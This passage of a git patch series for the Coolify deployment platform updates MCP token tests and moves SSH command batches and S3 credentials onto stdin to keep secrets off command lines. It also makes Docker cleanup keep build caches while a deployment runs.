needs confirm for delete and execute and rejects rea // ---------------------------------------------------------------- manage_backup test('manage_backup creates, updates, runs, and deletes a backup schedule of the token team', function () { - $token = mcpOpsToken($this->user, ['read', 'write', 'deploy']); + $token = mcpOpsToken($this->user, ['read', 'write', 'deploy', 'delete']); $database = $this->own['database']; $created = mcpOpsCall($token, 'manage_backup', ['action' => 'create', 'uuid' => $database->uuid, 'data' => ['frequency' => 'daily', 'save_s3' => true, 's3_storage_uuid' => $this->own['s3']->uuid]]); @@ -452,7 +452,7 @@ test('manage_storage creates, updates, and deletes storages of the token team', }); test('manage_storage sets, runs, and removes a volume backup without returning S3 secrets', function () { - $token = mcpOpsToken($this->user, ['read', 'write', 'deploy']); + $token = mcpOpsToken($this->user, ['read', 'write', 'deploy', 'delete']); $args = ['resource' => 'application', 'uuid' => $this->own['application']->uuid, 'storage_uuid' => $this->own['volume']->uuid]; $set = mcpOpsCall($token, 'manage_storage', [...$args, 'action' => 'set_backup', 'data' => ['frequency' => 'daily', 'save_s3' => true, 's3_storage_uuid' => $this->own['s3']->uuid]]); @@ -517,7 +517,7 @@ test('manage_storage cannot reach storages of another team', function (string $a test('manage_storage needs confirm for delete, remove_backup, and run_backup and rejects read-only tokens', function () { $this->own['volume']->scheduledBackups()->create(['team_id' => $this->team->id, 'frequency' => 'daily']); $args = ['resource' => 'application', 'uuid' => $this->own['application']->uuid, 'storage_uuid' => $this->own['volume']->uuid]; - $token = mcpOpsToken($this->user, ['read', 'write', 'deploy']); + $token = mcpOpsToken($this->user, ['read', 'write', 'deploy', 'delete']); foreach (['delete', 'remove_backup', 'run_backup'] as $action) { $response = mcpOpsCall($token, 'manage_storage', [...$args, 'action' => $action]); diff --git a/tests/Feature/Mcp/McpServerToolsTest.php b/tests/Feature/Mcp/McpServerToolsTest.php index c0182bbaf6..ee791bc3b6 100644 --- a/tests/Feature/Mcp/McpServerToolsTest.php +++ b/tests/Feature/Mcp/McpServerToolsTest.php @@ -215,7 +215,7 @@ test('server group write actions reject member tokens', function (string $tool, ]); test('server group destructive actions need confirm=true', function (string $tool, array $arguments) { - $response = mcpSrvCall(mcpSrvToken($this->user, ['read', 'write', 'deploy']), $tool, $arguments); + $response = mcpSrvCall(mcpSrvToken($this->user, ['read', 'write', 'deploy', 'delete']), $tool, $arguments); expect(mcpSrvIsError($response))->toBeTrue() ->and(mcpSrvText($response))->toContain('requires confirm=true'); diff --git a/tests/Feature/Security/ApiTokenCreationSecurityTest.php b/tests/Feature/Security/ApiTokenCreationSecurityTest.php index fa7e4434b2..67af723a7e 100644 --- a/tests/Feature/Security/ApiTokenCreationSecurityTest.php +++ b/tests/Feature/Security/ApiTokenCreationSecurityTest.php @@ -1,6 +1,6 @@ $this->team]); $token = $this->member->createToken('legacy-wildcard-token', ['*']); @@ -203,7 +203,7 @@ describe('ApiAbility middleware — member with elevated token blocked', functio ->assertStatus(403); }); - test('ApiAbility evaluates member token abilities through the token', function () { + test('the token team middleware evaluates member token abilities through the token', function () { session(['currentTeam' => $this->team]); $token = $this->member->createToken('token', ['*']); $this->member->withAccessToken($token->accessToken); @@ -211,7 +211,7 @@ describe('ApiAbility middleware — member with elevated token blocked', functio $request = Request::create('/api/v1/projects'); $request->setUserResolver(fn () => $this->member); - $response = (new ApiAbility)->handle($request, fn () => response('ok'), 'read'); + $response = (new EnsureTokenBelongsToCurrentTeamMember)->handle($request, fn () => response('ok')); expect($response->getStatusCode())->toBe(403); }); From fe6c73726d76d1a4f23da40da1117e32e8a156d9 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <41898282+github-actions[bot]@users.noreply.github.com> Date: Tue, 27 Oct 2026 20:25:53 +0100 Subject: [PATCH 09/10] chore: merge main into next (#12344) Co-authored-by: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Co-authored-by: Aditya Tripathi Co-authored-by: Claude Opus 5.5 --- .ai/lessons.md | 3 + app/Actions/CoolifyTask/RunRemoteProcess.php | 13 +- app/Actions/Database/StartDatabaseImport.php | 35 +- app/Actions/Proxy/CheckProxy.php | 6 +- app/Actions/Server/CleanupDocker.php | 48 +- .../CloneVolumeDataWithSourceStopped.php | 333 ++++++++++ app/Helpers/SshMultiplexingHelper.php | 19 + .../Api/ApplicationsController.php | 14 +- .../Controllers/Api/DatabasesController.php | 40 +- .../Controllers/Api/ServersController.php | 4 +- .../Controllers/Api/ServicesController.php | 6 +- app/Http/Middleware/RequireTeamTwoFactor.php | 4 +- app/Jobs/DatabaseBackupJob.php | 41 +- app/Jobs/DockerCleanupJob.php | 30 +- app/Jobs/ServerConnectionCheckJob.php | 12 +- app/Jobs/VolumeBackupJob.php | 98 ++- app/Jobs/VolumeCloneJob.php | 16 + app/Livewire/Fleet/Metrics.php | 32 +- app/Livewire/Project/CloneMe.php | 31 +- app/Livewire/Project/Shared/GetLogs.php | 7 +- app/Livewire/Project/Shared/Metrics.php | 40 +- .../Project/Shared/ResourceOperations.php | 29 +- app/Livewire/Server/Charts.php | 40 +- app/Livewire/TwoFactorRequired.php | 1 + app/Mcp/Tools/ManageApplication.php | 2 +- app/Mcp/Tools/ManageDatabase.php | 2 +- app/Mcp/Tools/ManageServer.php | 2 +- app/Mcp/Tools/ManageService.php | 4 +- app/Mcp/Tools/ManageStorage.php | 2 +- app/Models/Application.php | 51 +- app/Models/EnvironmentVariable.php | 20 +- app/Services/ContainerFilesystemService.php | 9 +- app/Services/DatabaseStartCommandExecutor.php | 4 +- app/Services/DockerRegistryLogins.php | 11 +- app/Services/SentinelMetricsClient.php | 22 +- app/Services/SentinelTrafficClient.php | 6 +- .../ServerTransfer/ServerTransferBundle.php | 35 + app/Support/DatabaseBackupFileValidator.php | 29 +- .../DatabaseImportCommandBuilder.php | 24 +- app/Traits/ExecuteRemoteCommand.php | 15 +- app/Traits/HasMetrics.php | 30 +- bootstrap/helpers/applications.php | 31 +- bootstrap/helpers/auth.php | 44 +- bootstrap/helpers/parsers.php | 142 ++-- bootstrap/helpers/remoteProcess.php | 8 +- bootstrap/helpers/services.php | 26 +- bootstrap/helpers/subscriptions.php | 3 + docker-compose.prod.yml | 3 +- openapi.json | 10 +- openapi.yaml | 10 +- other/nightly/docker-compose.prod.yml | 3 +- other/nightly/install.sh | 4 +- .../views/components/forms/checkbox.blade.php | 3 +- .../views/components/live-toggle.blade.php | 10 +- .../views/livewire/fleet/metrics.blade.php | 16 +- .../project/application/previews.blade.php | 2 +- .../views/livewire/project/clone-me.blade.php | 41 +- .../livewire/project/shared/metrics.blade.php | 8 +- .../shared/resource-operations.blade.php | 47 +- .../views/livewire/server/charts.blade.php | 8 +- .../livewire/two-factor-required.blade.php | 12 + routes/web.php | 13 + scripts/install.sh | 4 +- .../Api/EnvironmentVariableUpdateApiTest.php | 67 ++ tests/Feature/Api/ServerDeployAbilityTest.php | 2 +- .../Api/ServerDockerRegistriesApiTest.php | 2 +- tests/Feature/Api/UiSettingsApiParityTest.php | 3 + tests/Feature/ApiRateLimitClientIpTest.php | 12 +- ...licationComposeInjectionValidationTest.php | 4 +- ...loymentFailedKeepsHealthyContainerTest.php | 4 +- tests/Feature/ApplicationPreviewApiTest.php | 14 +- .../ApplicationPreviewComposeCleanupTest.php | 2 +- .../ApplicationPreviewVolumeCleanupTest.php | 18 +- .../BackupAndNotificationRedactionTest.php | 2 +- .../BackupDirectoryPermissionsTest.php | 4 +- tests/Feature/BackupFailureExitCodeTest.php | 4 +- tests/Feature/BackupRunSafetyTest.php | 4 +- tests/Feature/BackupS3CredentialsArgvTest.php | 209 ++++++ .../BackupS3DestinationRedactionTest.php | 4 +- tests/Feature/BackupS3DownloadTest.php | 8 +- .../BackupTimeoutSecretRedactionTest.php | 6 +- tests/Feature/ClientIpSpoofingTest.php | 106 +++ tests/Feature/CloneArchiveDirectoryTest.php | 8 +- tests/Feature/CloneServiceVolumeDataTest.php | 5 +- .../CloneVolumeDataSourceSafetyTest.php | 612 ++++++++++++++++++ .../Feature/CloudflareTunnelApiSetupTest.php | 4 +- .../ComposeContentVolumeConfinementTest.php | 26 +- tests/Feature/ComposeExternalVolumeTest.php | 2 +- tests/Feature/ComposeFileLoadCommandsTest.php | 167 +++++ tests/Feature/ComposeFileLoadErrorTest.php | 2 +- .../ComposePreviewEnvironmentValuesTest.php | 109 ++++ .../ComposePreviewMagicVariablesTest.php | 217 +++++++ tests/Feature/ComposeStaleVolumeTest.php | 2 +- .../ComposeVolumeDriverOptionsTest.php | 2 +- .../ContainerFilesystemServiceTest.php | 28 +- .../Feature/ContainerNameShellQuotingTest.php | 14 +- .../Feature/ContainerOwnerUuidLabelsTest.php | 2 +- .../ContentFilesBeforeComposeUpTest.php | 50 +- .../CreateScheduledBackupValidationTest.php | 2 +- .../DashboardServerMetricsChartTest.php | 2 +- .../DatabaseBackupInstanceDatabaseTest.php | 2 +- ...tabaseBackupMultipleS3DestinationsTest.php | 26 +- .../DatabaseBackupPerDatabaseStateTest.php | 4 +- .../DatabaseBackupUploadValidationTest.php | 52 +- tests/Feature/DatabaseDumpExitStatusTest.php | 2 +- tests/Feature/DatabaseFlushTest.php | 2 +- .../DatabaseImportInterruptedCleanupTest.php | 18 +- .../DatabaseImportRestoreOptionsTest.php | 2 +- .../Feature/DatabaseStartContentFilesTest.php | 4 +- .../DeleteResourceJobAtomicityTest.php | 8 +- .../DeleteServiceRemoteCleanupTest.php | 4 +- .../DeploymentCancellationCleanupTest.php | 2 +- ...eploymentConfigurationSymlinkWriteTest.php | 8 +- .../DeploymentSensitiveCommandFailureTest.php | 30 +- tests/Feature/DevHostDockerPathTest.php | 2 +- tests/Feature/DevelopmentQemuVmTest.php | 216 +++---- tests/Feature/DockerCleanupJobTest.php | 72 ++- tests/Feature/DockerVersionStorageTest.php | 2 +- .../RefreshEnvsTargetingTest.php | 2 +- tests/Feature/FileDownloadStorageTest.php | 2 +- ...eneratedComposeOutsideBuildContextTest.php | 2 +- tests/Feature/GetLogsCommandInjectionTest.php | 30 +- tests/Feature/GetLogsExportRedactionTest.php | 12 +- tests/Feature/GetLogsMergedSourcesTest.php | 4 +- tests/Feature/GetRollbackImagesTest.php | 2 +- tests/Feature/GithubRunnerFlowTest.php | 22 +- tests/Feature/GithubRunnerSettingsTest.php | 4 +- ...stanceBackupMultipleS3DestinationsTest.php | 2 +- tests/Feature/Livewire/FileBrowserTest.php | 10 +- .../Livewire/MetricsLiveRefreshTest.php | 121 ++++ .../LocalFileVolumeRelativePathTest.php | 24 +- tests/Feature/LocalhostServerDetailsTest.php | 2 +- .../LockedDomainRowsAndDockerImagesTest.php | 2 +- .../LogDrain/CloudwatchLogDrainTest.php | 2 +- .../LogDrain/LogDrainServerNameTest.php | 4 +- tests/Feature/Mcp/McpLogRedactionTest.php | 6 +- tests/Feature/Mcp/McpServerToolsTest.php | 2 +- .../NonRootDataDirectoryCommandsTest.php | 10 +- .../PersistentStoragePerformanceTest.php | 2 +- tests/Feature/Proxy/MaintenanceModeTest.php | 2 +- .../Proxy/NonRootProxyCommandsTest.php | 2 +- tests/Feature/Proxy/ProxyErrorPageTest.php | 2 +- .../ProxyLogrotateSidecarCleanupTest.php | 2 +- .../Feature/Proxy/ProxyPortVariablesTest.php | 10 +- .../Proxy/TraefikCertificateResolverTest.php | 4 +- tests/Feature/RemoteProcessRedactionTest.php | 4 +- .../ReverbAndTerminalPackagingTest.php | 35 +- tests/Feature/RollingUpdateProxyDrainTest.php | 2 +- tests/Feature/SafeDeploymentLogTest.php | 6 +- .../ScheduledJobManagerDispatchTest.php | 6 +- .../ScheduledTaskApplicationContainerTest.php | 8 +- .../Server/CheckAndStartSentinelJobTest.php | 28 +- ...loudflareTunnelChangedNotificationTest.php | 2 +- .../Server/ServerMetricsSettingsTest.php | 20 +- .../Feature/Server/StartSentinelLockTest.php | 4 +- .../ServerConnectionCheckIsolationTest.php | 32 +- .../ServerDockerImagesAuthorizationTest.php | 2 +- tests/Feature/ServerDockerImagesTest.php | 8 +- tests/Feature/ServerDockerRegistriesTest.php | 28 +- tests/Feature/ServerMetricsPrefetchTest.php | 21 +- ...DynamicConfigurationsAuthorizationTest.php | 6 +- .../Feature/ServerStorageSaveDispatchTest.php | 16 +- .../Service/DeleteServiceSubresourceTest.php | 4 +- .../Service/StartDatabaseProxyTest.php | 4 +- .../Feature/ServiceComposeStdinWriteTest.php | 2 +- tests/Feature/ServiceParserReferenceTest.php | 7 + .../Feature/SettingsBackupEmptyStateTest.php | 2 +- .../Feature/SqliteConnectApplicationTest.php | 8 +- tests/Feature/SshBatchStdinTransportTest.php | 290 +++++++++ tests/Feature/StartClickhouseVolumesTest.php | 6 +- ...artDatabaseImportBackupPreparationTest.php | 4 +- .../StartDatabaseImportS3CredentialsTest.php | 138 +++- tests/Feature/StopApplicationFailureTest.php | 4 +- tests/Feature/StorageAndServiceAuditTest.php | 2 +- tests/Feature/StorageHostPathTest.php | 34 +- .../Feature/TeamTwoFactorRequirementTest.php | 95 +++ tests/Feature/TerminalCapabilitiesTest.php | 10 +- tests/Feature/TerminalSessionSecurityTest.php | 2 +- .../TerminalSessionStartFailureTest.php | 2 +- tests/Feature/TraefikAcmeBackupTest.php | 2 +- .../TraefikCertificateRemoteFileTest.php | 16 +- .../SentinelTrafficAvailabilityTest.php | 4 +- .../SentinelTrafficTokenStdinTest.php | 5 +- .../StartSentinelTrafficTest.php | 2 +- ...VolumeBackupMultipleS3DestinationsTest.php | 41 +- .../VolumeBackupRecoveryBoundsTest.php | 4 +- ...lumeBackupRecoveryMissingContainerTest.php | 2 +- tests/Feature/VolumeBackupTest.php | 176 ++--- tests/Feature/VolumeCloneJobTest.php | 4 +- .../parser/application-reference.yaml | 2 + .../application-with-exact-caddy-labels.yaml | 16 +- ...application-with-exact-traefik-labels.yaml | 16 +- .../expected/application-with-settings.yaml | 16 +- .../Fixtures/parser/expected/application.yaml | 16 +- tests/Pest.php | 1 + tests/Support/RemoteProcessTestHelpers.php | 36 ++ .../DatabaseImportCommandBuilderTest.php | 4 +- .../DatabaseImportRestoreScriptTest.php | 1 + tests/Unit/DeployKeyDedicatedPathTest.php | 2 +- .../Unit/InstallScriptAuthorizedKeysTest.php | 12 +- .../Unit/Livewire/Database/S3RestoreTest.php | 18 +- tests/Unit/LocalFileVolumeContentSizeTest.php | 24 +- tests/Unit/Metrics/HasMetricsMappingTest.php | 26 + tests/Unit/RemoteOutputSizeLimitsTest.php | 14 +- .../ServerTransferBundleTest.php | 35 + .../Services/SentinelMetricsClientTest.php | 17 + tests/Unit/UpdateCoolifyTest.php | 8 +- .../CloneVolumeDataConfirmationTest.php | 53 ++ 208 files changed, 4422 insertions(+), 1085 deletions(-) create mode 100644 app/Actions/Shared/CloneVolumeDataWithSourceStopped.php create mode 100644 tests/Feature/BackupS3CredentialsArgvTest.php create mode 100644 tests/Feature/ClientIpSpoofingTest.php create mode 100644 tests/Feature/CloneVolumeDataSourceSafetyTest.php create mode 100644 tests/Feature/ComposePreviewEnvironmentValuesTest.php create mode 100644 tests/Feature/ComposePreviewMagicVariablesTest.php create mode 100644 tests/Feature/Livewire/MetricsLiveRefreshTest.php create mode 100644 tests/Feature/SshBatchStdinTransportTest.php create mode 100644 tests/Support/RemoteProcessTestHelpers.php create mode 100644 tests/v4/Browser/CloneVolumeDataConfirmationTest.php diff --git a/.ai/lessons.md b/.ai/lessons.md index eee4ce11da..44f496dd05 100644 --- a/.ai/lessons.md +++ b/.ai/lessons.md @@ -21,6 +21,7 @@ - Redirect browser test output to a file (`> /tmp/x.log 2>&1`); piping it (`| tail`) hangs because the Playwright server keeps the pipe open. - Browser `click()`/`assertSee()` wait forever when nothing matches, so a bad selector hangs the run instead of failing it. `click('Text')` can match a hidden element first (use `button:visible:has-text("Text")`); `:text-is()` on an element with child elements and `assertSee()` text with double quotes never match. Prefer plain CSS selectors. `click()` also hung on a button far down the long `/analytics` page; click it with `$page->script("document.querySelector('...').click()")` there. - A new worktree has no `vendor/` or `public/build/`. Run `composer install --ignore-platform-req=ext-zip` on the host and copy `public/build` from the main checkout before page-rendering tests; otherwise they fail with a Vite manifest error. +- A running dev instance mounts the checkout, and its scheduled `CheckForUpdatesJob` writes the CDN data to `base_path('versions.json')`. Check `git diff versions.json` before you commit a version change. - A dev deployment that stays `in_progress` with no log lines and no `horizon_job_id` is waiting in a queue that Horizon does not serve. With `SELF_HOSTED=false` in `.env`, deployments go to the cloud `deployments` queue; run `./scripts/dev exec php artisan queue:work redis --queue=deployments --once` or fix the env. - Never run `php artisan test` inside a dev container (`./scripts/dev exec` or `docker exec coolify-dev-*`). The container sets `DB_CONNECTION=pgsql` as a real environment variable, which wins over `phpunit.xml`, so `RefreshDatabase` runs `migrate:fresh` on the dev database and wipes it. Run tests on the host only. - The helper image runs `docker compose` for deployments and for the Coolify upgrade itself. Before you bump its Docker CLI or Compose, test them against the oldest supported Docker Engine (for example a `docker:-dind` container); newer clients can reject data from older daemons. @@ -43,6 +44,8 @@ - Horizon workers in a dev instance keep the code they loaded. Run `./scripts/dev exec php artisan horizon:terminate` after a code change and before a live test of queued jobs. - To prove that a server side effect is blocked, check the server itself after the request. A model hook or job can be one of several write paths (for example `ServerStorageSaveJob` and `ServerFilesFromServerJob` both write file storages). +- When you add a gate that lets a user through only after a step (2FA, password reset, onboarding), test it with users who have no known password (OAuth, magic-link invites) and together with the other redirecting gates. Two gates that each allow only their own page make a redirect loop, and a step that needs password confirmation blocks users who cannot confirm one. + ## Preserve product scope - Do not replace required SPA navigation with a full-page redirect to hide a lifecycle or ordering defect. - Do not add billing restrictions, live reconciliation, or fallback behavior unless the request includes them. diff --git a/app/Actions/CoolifyTask/RunRemoteProcess.php b/app/Actions/CoolifyTask/RunRemoteProcess.php index 4f525ebcc8..f2c21ca121 100644 --- a/app/Actions/CoolifyTask/RunRemoteProcess.php +++ b/app/Actions/CoolifyTask/RunRemoteProcess.php @@ -113,7 +113,8 @@ class RunRemoteProcess $status = ProcessStatus::IN_PROGRESS; $timeout = config('constants.ssh.command_timeout'); try { - $process = Process::timeout($timeout)->start($this->getCommand(), $this->handleOutput(...)); + [$command, $input] = $this->getCommand(); + $process = Process::timeout($timeout)->input($input)->start($command, $this->handleOutput(...)); // Start from the stored properties and save now, so later output writes only change the log and // never write back an old copy over a status that Coolify set meanwhile (for example a stopped import). $stored = Activity::query()->whereKey($this->activity->getKey())->first()?->properties ?? $this->activity->properties; @@ -214,13 +215,19 @@ class RunRemoteProcess event(new $eventClass($eventData)); } - protected function getCommand(): string + /** + * The SSH command and its input. The command batch goes to ssh on stdin, so its secrets are + * not in a command line on the Coolify host. + * + * @return array{0: string, 1: string} + */ + protected function getCommand(): array { $server_uuid = $this->activity->getExtraProperty('server_uuid'); $command = RemoteProcessCommand::read($this->activity) ?? throw new \RuntimeException('The command of this task was already removed.'); $server = Server::whereUuid($server_uuid)->firstOrFail(); - return SshMultiplexingHelper::generateSshCommand($server, $command); + return [SshMultiplexingHelper::generateSshBatchCommand($server), SshMultiplexingHelper::sshBatchInput($command)]; } protected function handleOutput(string $type, string $output) diff --git a/app/Actions/Database/StartDatabaseImport.php b/app/Actions/Database/StartDatabaseImport.php index daa74c98bd..9d8add6b8f 100644 --- a/app/Actions/Database/StartDatabaseImport.php +++ b/app/Actions/Database/StartDatabaseImport.php @@ -2,6 +2,8 @@ namespace App\Actions\Database; +use App\Helpers\SshMultiplexingHelper; +use App\Helpers\SshRetryHandler; use App\Models\S3Storage; use App\Models\Server; use App\Models\ServiceDatabase; @@ -157,10 +159,9 @@ class StartDatabaseImport throw new DatabaseImportException('The S3 backup was not found or exceeds the 10 GiB limit.'); } $helper = "s3-restore-{$operation}"; - $this->startS3HelperWithEnv($storage, $server, $helper, $network); + $this->startS3Helper($storage, $server, $helper, $network); $sourceArg = escapeshellarg("s3temp/{$storage->bucket}/{$key}"); $commandList = [ - 'docker exec '.escapeshellarg($helper).' sh -c '.escapeshellarg('mc alias set s3temp "$S3_ENDPOINT" "$S3_ACCESS_KEY" "$S3_SECRET_KEY"'), 'docker exec '.escapeshellarg($helper).' mc cp '.$sourceArg.' /tmp/restore', ...$this->streamFromHelper($helper, $container, $containerPath), 'docker rm -f '.escapeshellarg($helper).' 2>/dev/null || true', @@ -289,7 +290,12 @@ class StartDatabaseImport ]; } - private function startS3HelperWithEnv(S3Storage $storage, Server $server, string $helper, string $network): void + /** + * Starts the S3 restore helper and sets its `s3temp` mc alias. The S3 keys go to mc through the + * stdin of a separate SSH process, so they are not in the arguments of any process on Coolify or + * on the server. The helper is removed when either step fails. + */ + private function startS3Helper(S3Storage $storage, Server $server, string $helper, string $network): void { $image = escapeshellarg(coolifyHelperImage().':'.getHelperVersion()); @@ -298,16 +304,33 @@ class StartDatabaseImport 'docker rm -f '.escapeshellarg($helper).' 2>/dev/null || true', 'docker run -d --network '.escapeshellarg($network) .' --name '.escapeshellarg($helper) - .' -e S3_ENDPOINT='.escapeshellarg((string) $storage->endpoint) - .' -e S3_ACCESS_KEY='.escapeshellarg((string) $storage->key) - .' -e S3_SECRET_KEY='.escapeshellarg((string) $storage->secret) .' '.$storage->minioClientRegionOption() .' '.$image.' sleep 86400', ], $server); + $this->setMinioClientAlias($storage, $server, $helper); } catch (Throwable) { instant_remote_process(['docker rm -f '.escapeshellarg($helper).' 2>/dev/null || true'], $server, throwError: false); throw new DatabaseImportException('Unable to start the S3 restore helper.'); } } + + private function setMinioClientAlias(S3Storage $storage, Server $server, string $helper): void + { + $remoteCommand = ($server->isNonRoot() ? 'sudo ' : '').'docker exec -i '.escapeshellarg($helper) + .' mc alias set s3temp '.escapeshellarg((string) $storage->endpoint).' >/dev/null'; + $timeout = (int) config('constants.ssh.command_timeout'); + + SshRetryHandler::retry( + function () use ($server, $remoteCommand, $storage, $timeout) { + $sshCommand = SshMultiplexingHelper::generateSshStdinCommand($server, $remoteCommand, disableMultiplexing: true, commandTimeout: $timeout); + $process = runSshProcess($sshCommand, $timeout, $storage->key."\n".$storage->secret."\n"); + + if ($process->exitCode() !== 0) { + excludeCertainErrors($process->errorOutput(), $process->exitCode()); + } + }, + ['server' => $server->ip, 'function' => 'setMinioClientAlias'], + ); + } } diff --git a/app/Actions/Proxy/CheckProxy.php b/app/Actions/Proxy/CheckProxy.php index a0419feb31..2b5a502977 100644 --- a/app/Actions/Proxy/CheckProxy.php +++ b/app/Actions/Proxy/CheckProxy.php @@ -114,7 +114,7 @@ class CheckProxy $results = Process::concurrently(function ($pool) use ($server, $ports, $proxyContainerName) { foreach ($ports as $port) { $commands = $this->buildPortCheckCommands($server, $port, $proxyContainerName); - $pool->command($commands['ssh_command'])->timeout(10); + $pool->command($commands['ssh_command'])->input($commands['input'])->timeout(10); } }); @@ -152,10 +152,10 @@ class CheckProxy private function buildPortCheckCommands(Server $server, int $port, string $proxyContainerName): array { $portCheckScript = $this->buildPortCheckScript($port, $proxyContainerName); - $sshCommand = SshMultiplexingHelper::generateSshCommand($server, $portCheckScript); return [ - 'ssh_command' => $sshCommand, + 'ssh_command' => SshMultiplexingHelper::generateSshBatchCommand($server), + 'input' => SshMultiplexingHelper::sshBatchInput($portCheckScript), 'script' => $portCheckScript, ]; } diff --git a/app/Actions/Server/CleanupDocker.php b/app/Actions/Server/CleanupDocker.php index f132ebd17d..17b796a6df 100644 --- a/app/Actions/Server/CleanupDocker.php +++ b/app/Actions/Server/CleanupDocker.php @@ -43,6 +43,11 @@ class CleanupDocker implements ShouldBeUnique */ public const STOP_CLEANUP_COOLDOWN = 3600; + /** + * Cleanup log command of the entry that records a skipped build cache prune. + */ + public const BUILD_CACHE_KEPT_LOG_COMMAND = 'docker builder prune, docker buildx prune'; + public int $jobTries = 1; /** @@ -87,8 +92,9 @@ class CleanupDocker implements ShouldBeUnique /** * The deployment that is queued or running on the server (as target or build server), if any. - * The cleanup prunes the build caches, which fails a build that uses them. A deployment that - * wrote no log for longer than the deployment timeout is stuck and does not count. + * Pruning the build caches fails a build that uses them, so the cleanup keeps them while such a + * deployment exists. A deployment that wrote no log for longer than the deployment timeout is + * stuck and does not count. */ public static function activeDeployment(Server $server): ?ApplicationDeploymentQueue { @@ -99,10 +105,17 @@ class CleanupDocker implements ShouldBeUnique ->first(['id', 'deployment_uuid']); } + /** + * The reason the build cache was kept, read from a cleanup log, if it was kept. + */ + public static function buildCacheKeptReason(array $cleanupLog): ?string + { + return collect($cleanupLog)->firstWhere('command', self::BUILD_CACHE_KEPT_LOG_COMMAND)['output'] ?? null; + } + /** * Cleanup after a resource stop: skipped when a cleanup ran recently, and the queued run - * only cleans when the disk usage is at or above the server cleanup threshold and no - * deployment is active on the server. + * only cleans when the disk usage is at or above the server cleanup threshold. */ public static function dispatchAfterStop(Server $server): void { @@ -137,14 +150,15 @@ class CleanupDocker implements ShouldBeUnique ]; } - public function handle(Server $server, bool $deleteUnusedVolumes = false, bool $deleteUnusedNetworks = false, bool $onlyAboveThreshold = false) + /** + * @param bool $pruneBuildCacheDuringDeployment Also prune the build caches while a deployment is active + * (a manual cleanup). Otherwise they stay until the next run. + */ + public function handle(Server $server, bool $deleteUnusedVolumes = false, bool $deleteUnusedNetworks = false, bool $onlyAboveThreshold = false, bool $pruneBuildCacheDuringDeployment = false) { $this->deadline = now()->getTimestamp() + self::REMOTE_COMMANDS_DEADLINE; if ($onlyAboveThreshold) { - if (self::activeDeployment($server)) { - return []; - } $diskUsage = $server->getDiskUsage(); if (is_numeric($diskUsage) && (int) $diskUsage < $server->settings->docker_cleanup_threshold) { return []; @@ -177,12 +191,22 @@ class CleanupDocker implements ShouldBeUnique $commands = [ $this->buildContainerPruneCommand(), $imagePruneCmd, - 'docker builder prune -af', - // The prune fails on a stopped builder, so start it first. - railpackBuilderHelperCommand(railpackBuildxMetadataVolume($server), $helperImageWithVersion, 'docker buildx inspect --bootstrap coolify-railpack >/dev/null 2>&1; docker buildx prune --builder coolify-railpack -af'), - $this->buildCoolifyImageCleanupCommand($helperImageVersion), ]; + $activeDeployment = $pruneBuildCacheDuringDeployment ? null : self::activeDeployment($server); + if (! $activeDeployment) { + $commands[] = 'docker builder prune -af'; + // The prune fails on a stopped builder, so start it first. + $commands[] = railpackBuilderHelperCommand(railpackBuildxMetadataVolume($server), $helperImageWithVersion, 'docker buildx inspect --bootstrap coolify-railpack >/dev/null 2>&1; docker buildx prune --builder coolify-railpack -af'); + } else { + $cleanupLog[] = [ + 'command' => self::BUILD_CACHE_KEPT_LOG_COMMAND, + 'output' => 'Skipped: the build cache was not pruned because deployment '.$activeDeployment->deployment_uuid.' is queued or running on this server.', + ]; + } + + $commands[] = $this->buildCoolifyImageCleanupCommand($helperImageVersion); + if ($deleteUnusedVolumes) { $commands[] = 'docker volume prune -af'; } diff --git a/app/Actions/Shared/CloneVolumeDataWithSourceStopped.php b/app/Actions/Shared/CloneVolumeDataWithSourceStopped.php new file mode 100644 index 0000000000..b0ee519fd2 --- /dev/null +++ b/app/Actions/Shared/CloneVolumeDataWithSourceStopped.php @@ -0,0 +1,333 @@ + $volumeJobs + */ + public function handle( + Application|Service|StandalonePostgresql|StandaloneRedis|StandaloneMongodb|StandaloneMysql|StandaloneMariadb|StandaloneKeydb|StandaloneDragonfly|StandaloneClickhouse|StandaloneSqlite $source, + array $volumeJobs, + ): void { + if ($volumeJobs === []) { + return; + } + + $wasRunning = filled($source->status) && ! $source->isExited(); + + // One closure per line: a serialized closure is found by its line, so two closures on one line run the same code. + $chain = $wasRunning ? [ + static fn () => self::stopSource($source), + ...$volumeJobs, + static fn () => self::startSource($source), + ] : $volumeJobs; + + // The jobs load the new volume rows, so they must not run before the transaction of the caller commits. + DB::afterCommit(fn () => Bus::chain($chain) + ->onQueue('high') + ->catch(static fn (Throwable $e) => self::recoverSource($source, $wasRunning, $e)) + ->dispatch()); + } + + /** + * The policy ability that allows a user to stop and start the source. + */ + public static function sourceAbility( + Application|Service|StandaloneClickhouse|StandaloneDragonfly|StandaloneKeydb|StandaloneMariadb|StandaloneMongodb|StandaloneMysql|StandalonePostgresql|StandaloneRedis|StandaloneSqlite $source, + ): string { + return match (true) { + $source instanceof Application => 'deploy', + $source instanceof Service => 'stop', + default => 'manage', + }; + } + + /** + * Stops the source and fails the chain, so that no copy runs, when the stop reports an error + * or a container of the source still runs. The stop actions return their errors instead of throwing. + */ + public static function stopSource( + Application|Service|StandaloneClickhouse|StandaloneDragonfly|StandaloneKeydb|StandaloneMariadb|StandaloneMongodb|StandaloneMysql|StandalonePostgresql|StandaloneRedis|StandaloneSqlite $source, + ): void { + // A partly stopped application is redeployed, so remember which of its containers ran. + $runningBefore = $source instanceof Application ? self::runningContainersOrNull($source) : null; + $result = match (true) { + $source instanceof Application => StopApplication::run($source, false, false), + $source instanceof Service => StopService::run($source, dockerCleanup: false), + default => StopDatabase::run($source, dockerCleanup: false), + }; + if (filled($result) && $result !== 'Database stopped successfully') { + throw new RuntimeException($result, self::failedStopCode($source, $runningBefore)); + } + + try { + $runningContainers = self::runningContainers($source); + } catch (Throwable $e) { + throw new RuntimeException('Could not check that the containers stopped: '.$e->getMessage(), self::STOP_FAILED, $e); + } + if ($runningContainers !== []) { + throw new RuntimeException('These containers still run: '.implode(', ', $runningContainers), self::failedStopCode($source, $runningBefore, $runningContainers)); + } + } + + /** + * An application whose stop took down some of its containers, while others still run, is + * partly stopped. When the containers before the stop are unknown, it may be partly stopped. + * + * @param list|null $runningBefore + * @param list|null $runningAfter + */ + private static function failedStopCode( + Application|Service|StandaloneClickhouse|StandaloneDragonfly|StandaloneKeydb|StandaloneMariadb|StandaloneMongodb|StandaloneMysql|StandalonePostgresql|StandaloneRedis|StandaloneSqlite $source, + ?array $runningBefore, + ?array $runningAfter = null, + ): int { + if (! $source instanceof Application) { + return 